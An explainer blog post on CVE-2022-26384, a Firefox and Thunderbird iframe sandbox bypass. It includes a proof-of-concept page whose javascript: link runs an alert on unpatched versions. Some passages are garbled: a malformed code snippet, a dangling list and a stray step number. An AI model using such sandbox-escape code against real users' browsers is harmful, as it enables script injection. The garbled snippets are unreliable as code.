CVE-2022-26384 - Escaping the Iframe Sandbox—How Attackers Trick Browsers Into Running Scripts
If you build websites or manage security, you might know about something called iframe sandboxes. These are ways to keep dangerous or untrusted web content from messing with your site or users. But what if someone finds a way out of that sandbox? That’s what happened in CVE-2022-26384—a security bug that let attackers run JavaScript *inside* a supposedly safe “box.”
In this post, we’ll break down how the bug worked, show the key code, and explain how clicking a simple link in a special iframe could let hackers sneak code into your users’ browsers—even on major products like Firefox and Thunderbird.
What’s the issue with iframes and sandboxing?
iframes are commonly used to embed outside pages (ads, widgets, third-party content) into your site. To avoid letting those iframed pages do risky things, the browser offers a sandbox attribute:
<iframe src="https://untrusted.example.com"; sandbox></iframe>
But what if you want to let the iframe open popups, but NOT run scripts? You might use
<iframe src="https://foo"; sandbox="allow-popups"></iframe>
Be allowed to open new windows (window.open())
However, CVE-2022-26384 made it possible to escape this rule.
The Vulnerability: What Went Wrong?
In Firefox (versions below 98), Thunderbird (below 91.7), and Firefox ESR (below 91.7), an attacker could use a combination of sandbox settings and links to make browsers execute JavaScript—even though allow-scripts wasn't set.
The key fact
> If an attacker could control the contents of an iframe sandboxed with allow-popups but not allow-scripts, they were able to craft a link that, when clicked, would lead to JavaScript execution *in violation of the sandbox*.
`html
https://evil-actor.com/iframe.html</a>" sandbox="allow-popups">
Click me
`
4. The user clicks the link. The browser, due to the bug, runs the JavaScript—even though the iframe sandbox should block all scripts.
Here’s how the attacker’s iframe.html might look
<!-- Attacker-controlled content inside the iframe -->
<!DOCTYPE html>
<html>
<body>
<a href="javascript:alert('Sandbox Bypass!')" target="_blank">
Click here!
</a>
</body>
</html>
On a vulnerable browser, clicking this link *will* run alert('Sandbox Bypass!') — even though the parent page’s iframe is missing allow-scripts.
Why is This Bad?
Site owners rely on sandbox="allow-popups" to mean “no script execution”—so they might embed untrusted content, trusting it can’t run code. But with this bug, attackers could:
How Was This Fixed?
Mozilla issued security patches for:
- Firefox 98
- Thunderbird 91.7
- Firefox ESR 91.7
Browsers now properly prevent script execution, even if the iframe is allowed to open popups.
Demo and Proof-of-Concept
Here’s a minimal proof-of-concept you can try locally (*on vulnerable browsers only — patched browsers do not show the alert!*).
Parent HTML (victim page)
<iframe src="evil-iframe.html" sandbox="allow-popups"></iframe>
evil-iframe.html (attacker content)
<!DOCTYPE html>
<html>
<body>
<a href="javascript:alert('CVE-2022-26384 exploited!')" target="_blank">
SURPRISE
</a>
</body>
</html>
On Firefox <98 and similar, clicking “SURPRISE” will trigger an alert, showing script injection is possible.
References
- NVD: CVE-2022-26384
- Mozilla’s Security Advisory
- Mozilla’s Bugzilla Thread
Final Thoughts
CVE-2022-26384 is an example of how browser security features can have *unexpected loopholes*, especially when dealing with complex scenarios like popups and sandboxed iframes. Always test your assumptions and keep your software up to date!
Timeline
Published on: 12/22/2022 20:15:00 UTC
Last modified on: 12/30/2022 20:56:00 UTC